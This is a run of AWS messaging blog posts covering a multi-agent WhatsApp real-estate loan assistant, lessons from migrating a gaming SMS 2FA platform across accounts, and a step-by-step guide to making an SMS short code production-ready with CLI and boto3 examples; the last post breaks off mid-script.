Solution architecture diagram: WhatsApp messages flow through AWS End User Messaging Social and Amazon SNS to a Lambda webhook handler and supervisor agent that orchestrates four Strands agents on Amazon Bedrock with session state in Amazon DynamoDB.

Strands Agents SDK — multi-agent pipeline

The Strands Agents SDK is an open source framework from AWS for building AI agents. Each agent gets a system prompt and tools. The agent then decides when to use those tools based on what the user asks.

This solution uses four specialized agents, each with its own tools:

  • Identity Agent – uses the verify_identity tool to validate the customer’s tax identification number.
  • Credit Scoring Agent – uses check_credit_score and get_loan_offers tools to assess creditworthiness and generate lending offers.
  • Fraud Detection Agent – uses check_fraud_risk to evaluate application risk.
  • Property Valuation Agent – uses validate_property to check regulatory registration and market value.

The following example shows how to define agents using the Strands @tool decorator pattern. Each tool is region-agnostic by design. You adapt the implementation for your local tax authority, credit bureau, and property registry.

from strands import Agent, tool
from strands.models.bedrock import BedrockModel

MODEL_ID = "amazon.nova-lite-v1:0"

def get_model():
    return BedrockModel(model_id=MODEL_ID, region_name="us-east-1")

@tool
def verify_identity(tax_id: str) -> dict:
    """Verify customer identity using their tax identification number.
    Adapt for your region: PAN (India), SSN (US), NIN (UK), TFN (Australia)."""
    # Call your regional tax authority API here
    return {"tax_id": tax_id, "valid": True,
            "holder_name": "Customer", "status": "Active"}

@tool
def check_credit_score(tax_id: str) -> dict:
    """Fetch customer credit score from a credit bureau.
    Adapt for your region: CIBIL (India), FICO (US), Experian (Global)."""
    # Call your regional credit bureau API here
    return {"credit_score": 782, "risk_category": "Low"}

@tool
def get_loan_offers(property_price: int, credit_score: int) -> dict:
    """Get mortgage offers from partner lending institutions.
    Adapt for your region's banks and lending regulations."""
    # Call your partner bank APIs here
    return {"offers": [...]}

@tool
def validate_property(name: str, registration_id: str, price: int) -> dict:
    """Validate property registration with the local regulatory authority.
    Adapt for your region: RERA (India), Land Registry (UK), MLS (US)."""
    # Call your regional property registry API here
    return {"registration_valid": True, "investment_rating": "good"}

You then orchestrate the agents in a pipeline:

def run_full_pipeline(tax_id, phone, project):
    # Agent 1: Identity Verification
    agent = Agent(
        model=get_model(),
        system_prompt="You are an Identity Verification Agent. "
                      "Use verify_identity to check the customer's tax ID.",
        tools=[verify_identity],
        callback_handler=None
    )
    identity = agent(f"Verify tax ID: {tax_id}")

    # Agent 2: Credit Scoring + Loan Offers
    agent = Agent(
        model=get_model(),
        system_prompt="You are a Credit Scoring Agent. "
                      "Use check_credit_score then get_loan_offers.",
        tools=[check_credit_score, get_loan_offers],
        callback_handler=None
    )
    credit = agent(f"Check credit for {tax_id}, "
                   f"get offers for price {project['price']}")

    # Agent 3: Fraud Detection
    # Agent 4: Property Valuation
    # ... similar pattern
    return consolidated_results

AWS End User Messaging Social

AWS End User Messaging Social handles WhatsApp Business API integration. Incoming messages arrive as events. Outgoing messages, including text, buttons, lists, and location cards, go through the SendWhatsAppMessage API.

Message routing with Amazon SNS

An SNS topic receives events from AWS End User Messaging Social whenever customers send WhatsApp messages.

Webhook handler – AWS Lambda

The webhook handler Lambda function parses the EUM Social event envelope, extracts the WhatsApp message payload, and routes it based on message type.

Supervisor agent – AWS Lambda with Strands Agents

The supervisor agent orchestrates the full conversation flow. It maintains session state in Amazon DynamoDB and sends rich WhatsApp messages back to the customer. When the customer submits their identification, the supervisor invokes the Strands agent pipeline, which runs four agents sequentially on Amazon Bedrock.

The supervisor sends interactive WhatsApp messages using the EUM Social API:

def send_list(self, to_phone, body, button_text, sections):
    payload = {
        "messaging_product": "whatsapp",
        "to": to_phone,
        "type": "interactive",
        "interactive": {
            "type": "list",
            "body": {"text": body},
            "action": {
                "button": button_text,
                "sections": sections
            }
        }
    }
    response = self.client.send_whatsapp_message(
        originationPhoneNumberId=self.phone_number_id,
        message=json.dumps(payload).encode('utf-8'),
        metaApiVersion='v21.0'
    )

Lambda Layer for Strands Agents

The Strands Agents SDK provides an official Lambda Layer that includes all required dependencies pre-built for the Lambda runtime.

Session state – Amazon DynamoDB

Two DynamoDB tables store conversation state. The sessions table tracks the full conversation state machine (INITIATED, AWAITING_PROJECT_SELECT, AWAITING_ACTION, AWAITING_ID, LOAN_APPROVED, VISIT_CONFIRMED), with a 30-minute TTL.

Conversation flow

The customer journey unfolds across four steps in WhatsApp.

Step 1: Property discovery

When the customer sends the initial message, the supervisor agent sends a welcome message followed by an interactive list picker showing properties grouped by developer. The list picker uses WhatsApp’s native interactive message format.

Step 2: Property detail with action buttons

When the customer selects a property, the supervisor sends a rich detail card with key highlights, regulatory registration, and three action buttons:

eum.send_buttons(phone, body, [
    {"id": "check_loan", "title": "Check Loan"},
    {"id": "book_visit", "title": "Book Site Visit"},
    {"id": "talk_sales", "title": "Talk to Sales"}
])

Step 3: Loan pre-approval with Strands Agents

When the customer chooses Check Loan and submits their tax identification number, the supervisor invokes the Strands agent pipeline. Four agents run sequentially on Amazon Bedrock, each using its specialized tools. The following log output shows the pipeline in action:

Running Strands agent pipeline for ID: ABCD****
Identity agent: True
Credit agent: score=782, offers=3
Fraud agent: low
Property agent: good

The customer receives a loan approval card with offers from multiple lending institutions, each with personalized interest rates based on the credit score returned by the credit agent. The full pipeline typically runs in under 10 seconds.

Step 4: Site visit booking

The customer selects a time slot from an interactive list picker and receives a confirmation with relationship manager details and a location card.

Demo implementation: India real estate market

This demo uses India-specific implementations: PAN validation for identity, CIBIL scores for credit (300-900 range), example bank offers with EMI in Rupees, RERA registration validation, and free cab pickup for site visits.

To adapt this solution for another region, you replace the tool implementations with calls to your local tax authority, credit bureau, lending institutions, and property registry. The agent architecture, WhatsApp integration, and conversation flow remain unchanged.

Deployment

To deploy the demo solution, run the following commands:

git clone https://github.com/aws-samples/sample-ai-powered-real-estate-agent.git
cd sample-ai-powered-real-estate-agent
./deploy.sh --env=demo \
    --phone-number-id <your-phone-number-id> \
    --business-number +14155552671 \
    --region us-east-1

After deployment, in the AWS End User Messaging Social console, route incoming messages for your phone number ID to the SNS topic demo-whatshome-incoming-messages created by the stack.

Test the solution

open demo/real-estate-landing.html

Select Enquire Now on any property card. WhatsApp opens at the configured business number with a prefilled message. Send the message and finish the loan pre-approval flow on WhatsApp.

Sample conversation

The following images show how a customer interacts with the real estate AI assistant.

WhatsApp screen showing the customer’s prefilled enquiry message and the AI assistant’s welcome reply with a list picker of available properties.

The customer lands on WhatsApp with a predefined message from the website, and the AI assistant greets them with a welcome message.

WhatsApp screen showing a property detail card with three action buttons: Check Loan, Book Site Visit, and Talk to Sales.

The customer selects the Check Loan option for one of the properties listed.

 

WhatsApp screen showing a loan approval card with offers from SBI, HDFC, and LIC Housing Finance, each with personalized interest rates.

The agents are invoked to verify the customer details and provide loan quotations.

WhatsApp screen showing a site visit confirmation with the assigned relationship manager’s details and a pinned location card.

The customer books a site visit after selecting a suitable time slot.

Clean up

To avoid ongoing charges, delete the resources you created during this walkthrough:

sam delete --stack-name whatshome-demo --region us-east-1

Deleting the CloudFormation stack removes the Lambda functions, DynamoDB tables, Amazon SNS topics, Amazon Simple Queue Service (Amazon SQS) queue, AWS Key Management Service (AWS KMS) key, and AWS Identity and Access Management (IAM) roles. If you deployed the demo landing page to Amazon Simple Storage Service (Amazon S3) and Amazon CloudFront, delete those resources separately.

Conclusion

You can combine the Strands Agents SDK, Amazon Bedrock, AWS End User Messaging Social, and Lambda to build an end-to-end WhatsApp assistant. The multi-agent architecture has specialized agents for identity verification, credit scoring, fraud detection, and property valuation. This decomposition shows how you can break complex business workflows into focused AI agents that collaborate to deliver instant results.

The same pattern works for banking loan applications, insurance claims, healthcare appointments, and ecommerce order tracking.

To get started, see the AWS End User Messaging Social documentation and the Strands Agents SDK on GitHub.


About the authors

Global SMS strategy for gaming: Lessons from migrating 2FA across 100+ countries

Post Syndicated from Jose Velazquez Hernandez original https://aws.amazon.com/blogs/messaging-and-targeting/global-sms-strategy-for-gaming-lessons-from-migrating-2fa-across-100-countries/

When a player in Turkey, Brazil, or India tries to log in, they expect a verification code on their phone within seconds. If it doesn’t arrive, that’s a lost session, a support ticket, or worse, a player who doesn’t come back. For gaming studios operating across 100+ countries, delivering those SMS messages reliably is a complex operational challenge involving country-specific regulations, carrier registrations, and routing rules that can change overnight.

This post shares practical lessons from a real-world migration of a global gaming SMS platform from Amazon Simple Notification Service (Amazon SNS) to AWS End User Messaging. You’ll learn how to use resource sharing to avoid months of re-registration, how to build a country inventory that survives regulatory changes, and how to avoid the operational pitfalls that surface only when you migrate production traffic across accounts. Although the examples here are drawn from gaming, the operational challenges are universal. Any organization delivering SMS at international scale will face the same complexities, whether your users are players, customers, or patients.

Why gaming studios migrate SMS accounts

Before diving into the how, it’s worth understanding the why. Gaming studios commonly need to move SMS workloads between AWS accounts for several reasons:

  • Security and scope isolation — Separating messaging infrastructure from game servers and backend services into a dedicated account reduces the impact of a security incident in either environment.
  • Organizational changes — Studio acquisitions, team restructuring, or moving from a shared corporate account to a studio-owned account.
  • Service evolution — Migrating from Amazon SNS (which supports SMS as one of many pub/sub capabilities) to AWS End User Messaging (purpose-built for SMS/MMS/voice with features like phone poolsprotect configurations, and event destinations)
  • Compliance boundaries — Isolating messaging resources to meet data residency or audit requirements.

Whatever the reason, the challenge is the same: you have a working global SMS setup with phone numbers, Sender IDs, short codes, and carrier registrations spread across dozens of countries, and you need to move it without disrupting millions of players’ 2FA flows.

Resource sharing: A faster migration path

The traditional approach would be to re-register every origination identity (that is, phone numbers, Sender IDs, short codes, see Choosing an origination identity) in the consuming account from scratch. For a global gaming platform, this is impractical:

Multiply these timelines across every country where you operate, and a “clean” re-registration migration could take months.

AWS Resource Access Manager (RAM) offers a better path. Instead of re-registering, you share your existing origination identities from the sharing account to the consuming account, which can immediately begin sending. For the step-by-step setup including CLI commands, AWS Identity and Access Management (IAM) policies, and architecture diagrams, see A Complete Guide to Resource Sharing for AWS End User Messaging. This post focuses on the operational challenges that surface at global scale.

Know your country landscape before you start

The single most important preparation step is building a complete inventory of your SMS footprint, country by country. AWS publishes a comprehensive reference table listing supported countries, origination identity types, and registration requirements.

For a ready-made planning template, download the Global SMS Planning Sheet from How to Manage Global Sending of SMS with AWS End User Messaging. Your inventory should go beyond what’s published: document exact registered values (case matters), fallback behavior, carrier/aggregator, and why you chose each approach.

This inventory becomes invaluable for future account transitions, incident response, and onboarding new team members.

Plan for regulatory change, not just today’s rules

The global SMS regulatory landscape is not static. It’s tightening. Countries that previously had relaxed requirements are increasingly introducing mandatory Sender ID registration, content filtering, and message format restrictions. A migration is the ideal time to future-proof your setup, not just replicate what worked yesterday.

For help navigating the registration process for specific countries, see Registration support.

Example: Turkey’s URL blocking regulation (April 2026)

In April 2026, Turkey’s Information and Communications Technologies Authority (BTK) began enforcing a regulation that blocks all international A2P SMS messages containing URLs, hyperlinks, or shortened links. For gaming studios that include account recovery links, promotional URLs, or support links in their SMS messages, this type of regulatory change can mean immediate delivery failure to an entire market.

This type of regulatory shift is becoming more common:

  • Optional to mandatory Sender ID registration. Australia is mandating Sender ID registration with ACMA by mid-2026. AWS now supports Australia sender ID registration directly through the EUM console.
  • Content template registration. India requires DLT registration through TRAI, and China requires message template pre-registration through AWS Support.
  • Content filtering and URL restrictions. Carriers in multiple markets are implementing automated filtering that rejects messages containing URLs or specific patterns, even from registered senders. Your country inventory shouldn’t just document what works today. It should also track regulatory change dates, upcoming requirements, content restrictions, and your fallback plan for each market. For each country, ask: “If the rules change tomorrow, how quickly can we adapt?” If the answer is weeks, that country should have a fallback channel (email, push notification) ready to activate immediately.

Diagram showing the global SMS migration workflow from a sharing account to a consuming account using AWS RAM

Lessons learned: What can go wrong at scale

Even with careful planning, migrating global SMS infrastructure surfaces unexpected issues. The following sections cover the most common pitfalls we encountered.

Sender ID case sensitivity

As documented by AWS, Sender ID values are case-sensitive at the carrier and aggregator level. In countries with mandatory registration (Turkey, UK, India, Australia), carriers might perform exact-match validation. If your application sends STUDIONAME but the carrier has StudioName on file, the message can be rejected.

The AWS End User Messaging console displays all Sender IDs in uppercase regardless of registration casing, which is something to watch out for. Always verify casing against the Registrations section of the console, which preserves the original value. Countries can also begin enforcing stricter matching overnight as regulations tighten, turning previously-working messages into failures.

What to watch for:

  • Test delivery to countries with mandatory Sender ID registration before rolling out any casing changes globally.
  • Check the country capabilities table for countries marked “Registration required.”

Phone pool quotas for global operations

Phone pools are the recommended way to manage origination identities (that is, phone numbers, Sender IDs, short codes, see Choosing an origination identity) at scale with AWS End User Messaging. A pool automatically selects the appropriate identity based on the destination country code, handling failover between identities for the same country.

You can find the default quota for origination identities per phone pool in Quotas for AWS End User Messaging SMS. You can request increases through the Service Quotas console, or contact AWS Support for larger increases.

Plan ahead: Inventory your origination identities before creating your pool, and request the quota increase before you start associating resources. Hitting the quota mid-migration creates unnecessary delays.

Batch your RAM sharing operations

When sharing a large number of origination identities through RAM (50+), the RAM API creates resource-based policies on each shared resource. The order of operations matters: add the consuming account (principal) to the resource share first, then add resources incrementally. If you create a resource share with hundreds of resources and then add the consuming account afterward, RAM attempts to set resource-based policies on all resources simultaneously. This is the most common trigger for throttling at scale. In severe cases, this throttling can result in resources with empty or corrupted resource policies, making them inaccessible to the consuming account until manually remediated.

Best practice:

  • Add the consuming account (principal) to the resource share before adding any resources. Batch resource associations in groups of 10 or fewer.
  • After each batch, verify that all resources have reached ASSOCIATED status.
  • From the consuming account, confirm that shared resources are visible using the describe-* CLI commands with the --owner SHARED flag.
  • Retain AWS CloudTrail logs for troubleshooting if any associations don’t complete as expected.
  • If you suspect corrupted policies, verify the resource policies on affected resources and re-associate them individually.

Not everything transfers through RAM

RAM sharing covers the “what you send with”: phone numbers, Sender IDs, pools, and opt-out lists. But several critical components are account-specific and must be recreated in the consuming account:

Note on Protect Configurations: Protect Configurations apply at three levels: account default, configuration set, and per-message. A common mistake when setting up a consuming account is checking only the account-level default and missing a restriction at the configuration set level, resulting in unexpectedly blocked destination countries. When recreating your configuration in the consuming account, verify protect settings at all three levels.

Production mode requirement: Both the sharing account and the consuming account must be in Production mode. If the consuming account is still in the SMS sandbox, it can only send messages to verified destination phone numbers, which means shared production-ready resources cannot be used for real-world traffic. Verify production status in the consuming account before beginning your migration.

One tip worth highlighting: The registration process for certain countries’ message templates (notably China) is handled through AWS Support cases. After the registration is approved, retain a copy of the approved template details, the case correspondence, and the registration parameters. Support case history might not be accessible indefinitely. If you need to re-register in a new account later, having your own records of what was approved and the exact template content saves significant time.

Countries without Sender ID support

Not every country supports Sender IDs. If your phone pool is configured with Sender IDs and a message is routed to a country that doesn’t support them (for example, Belgium or Puerto Rico), the delivery will fail, and the error might not clearly indicate that the issue is Sender ID incompatibility.

Build an exclusion list: For countries that don’t support Sender IDs you have two options:

  • Route those messages through a different origination identity (long code or short code) if available.
  • Exclude those countries from Sender ID routing and allow them to fall back to shared routes.

The country capabilities table is your definitive reference for which countries support which origination identity types.

The “hidden fallback” discovery

A common surprise during migration is that your existing setup might have been silently falling back to shared routes in countries where you assumed you had branded Sender ID delivery. When SMS is sent through Amazon SNS with automatic origination identity selection, the service quietly falls back to shared routes (often displaying “NOTICE” as the Sender ID) if no registered identity is available for the destination country.

This fallback is invisible in normal operations. Messages still deliver, and unless you’re checking the Sender ID displayed on the recipient’s device, there’s no visible indication. But when you migrate to a phone pool with explicit Sender ID routing, these gaps become visible as delivery failures.

Before migrating, audit your actual delivery patterns, not just your configuration. Check delivery reports for countries where you expect branded Sender ID delivery and verify that the Sender ID displayed matches your brand, not “NOTICE” or a generic shared route.

Operational recommendations

The following practices help you avoid disruptions during migration and maintain reliable delivery afterward.

Have a fallback channel ready during migration

Before you begin migrating traffic, ensure you have an alternative authentication channel (typically email-based 2FA) ready to activate on short notice per-country. When an issue is detected, disable SMS for that country and fall back to email while you investigate, rather than leaving players locked out.

Build your country registry

Maintain a living document that tracks what you have (identity type, registration status, exact casing, account location), what you chose and why, what gaps exist (countries relying on shared routes), and registration details (approval dates, case references, template content). This registry is your migration playbook.

Set up delivery monitoring from day one

In the consuming account, configure Configuration Sets with Event Destinations before sending your first message. Consider using the Message Feedback API to track actual OTP conversion, not just carrier delivery. See Track OTP Success with AWS End User Messaging SMS Feedback for implementation details.

Test country by country, not just “it works”

Before scaling traffic, test delivery to representative countries from each category: mandatory Sender ID registration, no Sender ID support, optional Sender IDs, message template registration, and carrier-specific content restrictions. A successful test to the US doesn’t validate your Turkey configuration.

Conclusion

Global SMS for gaming works reliably until something needs to change. Migrations, account restructuring, and service upgrades expose the complexity that was previously hidden behind automatic fallbacks and “it just works” behavior.

In this post, we covered how to use RAM sharing to avoid months of re-registration, how to build a country inventory that accounts for regulatory change, and how to navigate the operational pitfalls of migrating production SMS traffic across accounts. The key takeaways:

  1. Use RAM sharing to avoid months of re-registration. See A Complete Guide to Resource Sharing for AWS End User Messaging for the step-by-step setup.
  2. Know your country landscape before you start. The country capabilities table is your starting point, but build your own registry with registration details, exact Sender ID values, and decision rationale.
  3. Respect the details. Case sensitivity, phone pool quotas, RAM batching limits, non-shareable resources, and record retention can each independently block your migration.
  4. Monitor from day one and plan for regulatory change. Set up delivery tracking before sending production traffic, and track what’s changing in each market.

What matters to players is that their verification code arrives in seconds, every time, regardless of location. The operational discipline described in this post helps make that happen and keeps it working through whatever infrastructure changes come next. Although this post is framed around gaming, the lessons apply broadly. Whether your users are players, shoppers, or account holders, reliable global SMS delivery requires the same operational rigor.

References

About the author

Getting your SMS short code production-ready with AWS End User Messaging

Post Syndicated from Harshvardhan Chunawala original https://aws.amazon.com/blogs/messaging-and-targeting/getting-your-sms-short-code-production-ready-with-aws-end-user-messaging/

Getting your Short Message Service (SMS) short code production-ready requires you to configure the Amazon Web Services (AWS) infrastructure that controls how your messages are sent, monitored, and protected. You have provisioned your short code, and it is active on carrier networks. In this post, we walk through that setup using AWS End User Messaging SMS, covering 12 configuration steps from compliance through phased traffic migration. Total estimated time is 2 to 4 hours of configuration plus 1 to 3 business days for limit increase approvals.mess

The guide to SMS short codes with AWS End User Messaging covers the application and registration process up through provisioning. This post picks up from that point and provides an operational readiness walkthrough that takes you from “Active” status to confidently sending your first production message, including a final validation step to confirm readiness.

The following diagram shows the end-to-end message flow and event routing architecture covered in this walkthrough.

End-to-end SMS short code architecture showing message flow from sender through AWS End User Messaging SMS to carriers and recipient handsets, with event routing to Amazon CloudWatch, Amazon Simple Notification Service (Amazon SNS), and Amazon Data Firehose destinations

Prerequisites

You need the following to follow along with this walkthrough:

  1. An AWS account with access to the AWS End User Messaging SMS console.
  2. A short code with Active status in the AWS Management Console (carrier provisioning finished).
  3. Permissions to create AWS Identity and Access Management (IAM) roles, Amazon CloudWatch Log Groups, and Amazon Simple Notification Service (Amazon SNS) topics.
  4. AWS Command Line Interface (AWS CLI) v2 or an AWS SDK installed and configured.
  5. Your approved registration documentation, including the service name, keyword responses, and message templates submitted to carriers.

Step 1: Verify your short code is active and delivering

Navigate to the AWS End User Messaging SMS console, choose Phone numbers, and locate your provisioned short code. Confirm that the status shows Active, then send a test message to a phone number you control using the SendTextMessage API or the console test feature. Verify delivery on your handset.

Carrier-side activation can take up to 24 to 48 hours to fully propagate across all networks after provisioning finishes. If the console shows Active but your test message does not arrive, submit a support case so the team can verify propagation status with the carrier.

You can also verify using the AWS CLI:

aws pinpoint-sms-voice-v2 send-text-message \
    --destination-phone-number "+15555550100" \
    --origination-identity "12345" \
    --message-body "Test message from short code" \
    --message-type TRANSACTIONAL \
    --configuration-set-name "prod-otp-shortcode"
# Replace +15555550100 with your test phone number, 12345 with your short
# code, and prod-otp-shortcode with your configuration set name from Step 3.

Step 2: Configure keywords and verify message compliance

US carriers require every short code to respond to HELP and STOP keywords. You defined these during your registration, and this step confirms they are configured correctly in your account.

In the SMS console, choose Phone numbers, select your short code, and choose the Keywords tab. Verify that STOP returns the opt-out response you submitted during registration, and that HELP returns your support contact response (which must include a phone number or email). Add any custom keywords your use case requires, such as YES for double opt-in confirmation flows. You can manage keywords programmatically using the PutKeyword API.

To add or update a keyword programmatically:

aws pinpoint-sms-voice-v2 put-keyword \
    --origination-identity "12345" \
    --keyword "YES" \
    --keyword-message "You have confirmed your subscription to Acme Health Alerts. Msg&data rates may apply. Reply STOP to opt out." \
    --keyword-action AUTOMATIC_RESPONSE
# Replace 12345 with your short code, YES with your custom keyword, and the
# keyword-message text with your approved response.

To verify your current keyword configuration:

aws pinpoint-sms-voice-v2 describe-keywords \
    --origination-identity "12345"
# Replace 12345 with your short code.

Beyond keyword configuration, carrier compliance does not end at registration approval. The content you send in production must stay aligned with what carriers reviewed and approved. Here is what to keep consistent.

Use the exact brand or program name from your approved registration across all keyword responses, confirmation messages, and outbound templates. If carriers approved your registration under “Acme Health Alerts,” every message your short code sends should reference that name. Mixing variations creates inconsistencies that auditors flag during reviews. For example, do not use the company name in one message and the product name in another.

Your HELP, STOP, and confirmation responses must match the templates submitted during registration. Do not add or remove opt-out language, change frequency disclosures, or alter customer care contact details post-approval without updating the registration through a support case. If your organization operates multiple domains, use the domain documented in the registration. For example, you might have one domain for the application and another for marketing. Carrier reviewers cross-reference message content, opt-in screenshots, and privacy policy URLs with what was submitted.

Humans conduct carrier reviews, and message content that is concise and limited to the essentials is reviewed consistently. All messages must remain under 160 characters.

Step 3: Create a configuration set with event destinations

A configuration set controls where your SMS delivery events are streamed and which event types are captured. Without one, you are limited to the basic events that AWS End User Messaging SMS sends to Amazon EventBridge by default. These default events omit recipient details and full carrier response context.

Create a configuration set with a descriptive name such as prod-otp-shortcode or marketing-sc-us. Then create at least one event destination. The three main options are Amazon CloudWatch Logs (for operational monitoring and alarming), Amazon SNS (for real-time event fanout to downstream systems), and Amazon Data Firehose (for durable archival and analytics).

Amazon Data Firehose typically delivers to an Amazon Simple Storage Service (Amazon S3) bucket, where you can query delivery history using Amazon Athena for compliance audits or delivery pattern analysis.

# Create the configuration set
aws pinpoint-sms-voice-v2 create-configuration-set \
    --configuration-set-name "prod-otp-shortcode"

# Add a CloudWatch Logs event destination
aws pinpoint-sms-voice-v2 create-event-destination \
    --configuration-set-name "prod-otp-shortcode" \
    --event-destination-name "otp-delivery-logs" \
    --matching-event-types TEXT_DELIVERED TEXT_FAILED TEXT_QUEUED TEXT_CARRIER_UNREACHABLE TEXT_TTL_EXPIRED \
    --cloud-watch-logs-destination '{
        "IamRoleArn": "arn:aws:iam::123456789012:role/SMSEventsToCloudWatch",
        "LogGroupArn": "arn:aws:logs:us-east-1:123456789012:log-group:/aws/sms/prod-otp-shortcode"
    }'
# Replace prod-otp-shortcode with your configuration set name, otp-delivery-logs
# with a descriptive destination name, and the ARN values with your IAM role ARN
# (must have logs:PutLogEvents permission) and CloudWatch Log Group ARN.

Important: When sending messages with SendTextMessage, always specify your ConfigurationSetName parameter so events route to the appropriate destination.

Required event types

Event type Description
TEXT_DELIVERED Message successfully delivered to recipient handset.
TEXT_FAILED Message delivery failed.
TEXT_QUEUED Message accepted and queued for delivery.
TEXT_CARRIER_UNREACHABLE Carrier network unreachable.
TEXT_TTL_EXPIRED Message expired before delivery.

For a detailed walkthrough of configuration sets including multi-tenant architectures, see How to send SMS using configuration sets with AWS End User Messaging.

Step 4: Create a phone pool and associate your short code

A pool is a logical container that groups origination identities and controls routing behavior. Creating one gives you deterministic control over which number sends your messages and how opt-outs are enforced.

# Create the pool
aws pinpoint-sms-voice-v2 create-pool \
    --origination-identity "12345" \
    --iso-country-code "US" \
    --message-type TRANSACTIONAL

# Disable shared routes so only your short code is used
aws pinpoint-sms-voice-v2 update-pool \
    --pool-id "pool-1234567890abcdef0" \
    --shared-routes-enabled false
# Replace 12345 with your short code, US with your destination country code,
# and pool-1234567890abcdef0 with the Pool ID returned by create-pool.

Configuration parameters

Parameter Recommended value Rationale
Pool name us-otp-pool Descriptive, environment-prefixed.
SharedRoutesEnabled False Prevents fallback to shared routes; only your short code is used.
Opt-out list Associate one Manages opt-out state per use case.
IsoCountryCode US Restricts to destination country your short code serves.

If you operate multiple use cases on separate short codes, create a dedicated pool for each. For example, use one short code for one-time password (OTP) traffic and another for transactional notifications. This isolation means a recipient opting out of marketing messages does not lose access to authentication codes.

Step 5: Request your throughput increase

Short codes start at a default of 100 messages per second (MPS). If your production volume will exceed this, request an increase before your launch date rather than after traffic is flowing.

Create a case in the AWS Support Center, choose Service limit increase, then choose End User Messaging SMS. Provide your short code phone number, requested MPS, use case description, and expected peak volume. Allow 1 to 3 business days for processing.

To estimate your required MPS:

Required MPS = (Peak hourly volume / 3,600) x 2

Short codes support scaling to thousands of MPS, so start with a value that covers your expected peak and request further increases as traffic grows.

Step 6: Request a spending limit increase

AWS accounts have a default monthly SMS spending limit. To keep delivery uninterrupted at your expected volume, request an increase that accommodates your projected monthly spend before you begin sending.

Create a support case under Service limit increase > End User Messaging SMS > Account Spend Threshold. Provide your estimated monthly spend, use case description, and website URL.

For details, see Requesting increases to your monthly SMS spending quota.

Step 7: Restrict destination countries

If your short code serves a single country (US-only, for example), restrict sending to that country. This protects your account from artificially inflated traffic (SMS pumping). In pumping attacks, messages are routed to international premium-rate numbers, generating significant charges.

In the SMS console, navigate to Account settings, then choose Countries and keep only the countries you intend to send to. The pool-level IsoCountryCode restriction from Step 4 provides an additional enforcement layer at the sending path. Combining account-level country restrictions with pool-level country codes gives you two independent controls that both must be satisfied before a message is sent internationally.

For a detailed walkthrough on SMS fraud prevention controls, see Defending against SMS pumping: new AWS features to help combat artificially inflated traffic.

Step 8: Set up monitoring and alarms

With event destinations configured in Step 3, build proactive alerting that surfaces delivery trends before they affect your end users.

Alarm Metric / Source Threshold
Delivery success rate CloudWatch SMS metrics Alert when below 95%.
Spend threshold CloudWatch billing metric Alert at 80% of monthly limit.
Delivery failures Amazon EventBridge rule on TEXT_FAILED Route to Amazon SNS topic or AWS Lambda.
Carrier unreachable Amazon EventBridge rule on TEXT_CARRIER_UNREACHABLE Route to Amazon SNS topic or AWS Lambda.

Build a CloudWatch dashboard showing messages sent per minute, success versus failure breakdown, and spend accumulation over time.

You can also configure Amazon EventBridge to notify you of registration status changes. AWS End User Messaging SMS publishes events for statuses including REQUIRES_UPDATES, REVIEWING, and PROVISIONING, which is useful if a carrier requests changes during a proactive audit after your short code is already active.

For metric details, see Monitoring SMS activity with Amazon CloudWatch.

Step 9: Track OTP verification success (if applicable)

If your short code delivers OTP or two-factor authentication (2FA) codes, track end-to-end verification success in addition to carrier delivery receipts. A “delivered” status at the carrier level does not confirm the end user received and entered the code.

Tracking verification rates gives you insight into latency patterns when codes expire before arrival, geographic delivery trends, and opportunities to improve conversion. Some use cases involve asynchronous processing where several minutes of computation occur before the SMS is sent. For these, measure the full round-trip from the triggering action to message delivery. This separates application-side latency from carrier-side delivery latency.

For implementation guidance, see Track OTP success with AWS End User Messaging SMS feedback.

Step 10: Set up cost visibility

SMS costs include AWS charges plus per-message carrier surcharges. Setting up cost visibility from day one lets you track spend trends, catch anomalies early, and optimize over time.

Start by activating AWS Cost Explorer and creating a cost allocation tag for your SMS workload. Then configure an AWS Budget with threshold alerts. For example, you might notify at 80% of projected monthly spend. This gives you advance warning of unexpected cost increases, whether from traffic spikes, retry loops, or blocked-country leakage.

Step 11: Plan your traffic migration

A phased rollout validates delivery performance at each stage before you increase volume.

Start with a canary phase (Day 1 to 3) where you route 5 to 10% of traffic to the short code and monitor delivery rates, latency, and event logs. Move to a ramp phase (Day 3 to 7) at 50%, validating throughput and carrier-level delivery across your recipient base. Finish the full migration (Day 7+) at 100%. Decommission your previous origination identity only after confirming stability for at least 48 hours.

Step 12: Validate production readiness and send

Before declaring your short code production-ready, run through the following validation checks:

  1. Confirm your CloudWatch dashboard shows events flowing for TEXT_DELIVERED and TEXT_FAILED (from Step 3).
  2. Send a test message that triggers your STOP keyword. Verify the correct opt-out response is returned and the phone number appears in your opt-out list.
  3. Send a test message that triggers your HELP keyword. Verify the response matches your approved registration.
  4. Check your MPS quota in the support case response (from Step 5). Confirm it matches or exceeds your calculated peak.
  5. Review your country restrictions (from Step 7). Attempt to send a message to a blocked country and confirm it is rejected.
  6. Verify your CloudWatch alarm fires by temporarily lowering the threshold, or by checking that the alarm state is not INSUFFICIENT_DATA.

After all six checks pass, you are ready to begin your phased migration (Step 11) and scale to full production traffic. At this point, your short code is configured, monitored, compliant, and protected.

Automate with a validation script

You can use an AI coding assistant such as Kiro to generate a validation script tailored to your environment. Try a prompt like: “Write a boto3 script that validates my SMS short code is production-ready by checking Active status, HELP/STOP keywords, configuration set existence, and pool association using the pinpoint-sms-voice-v2 client.”

Refine the prompt with specifics from the following reference implementation, such as exact API names, filter parameters, and output format, to match your requirements.

The following script is an example of what that output looks like:

import boto3
import sys

SHORT_CODE = "12345"  # TODO: Replace with your short code (e.g., "67890")
POOL_ID = "pool-1234567890abcdef0"  # TODO: Replace with your pool ID from Step 4
CONFIG_SET_NAME = "prod-otp-shortcode"  # TODO: Replace with your configuration set name from Step 3

client = boto3.client("pinpoint-sms-voice-v2")

# Note: For accounts with many resources, implement NextToken pagination
# on describe_* calls. This script assumes results fit in a single page.


def check_short_code_active():
    """Step 1: Verify short code is Active."""
    response = client.describe_phone_numbers(
        Filters=[
            {"Name": "status", "Values": ["ACTIVE"]},
            {"Name": "number-type", "Values": ["SHORT_CODE"]}
        ]
    )
    numbers = [
        n for n in response["PhoneNumbers"]
        if n["PhoneNumber"] == SHORT_CODE
    ]
    assert len(numbers) > 0, f"Short code {SHORT_CODE} not found or not Active"
    print(f"[PASS] Short code {SHORT_CODE} is Active")


def check_keywords_configured():
    """Step 2: Verify HELP and STOP keywords exist."""
    response = client.describe_keywords(OriginationIdentity=SHORT_CODE)
    keyword_names = [kw["Keyword"].upper() for kw in response["Keywords"]]
    assert "STOP" in keyword_names, "STOP keyword not configured"
    assert "HELP" in keyword_names, "HELP keyword not configured"
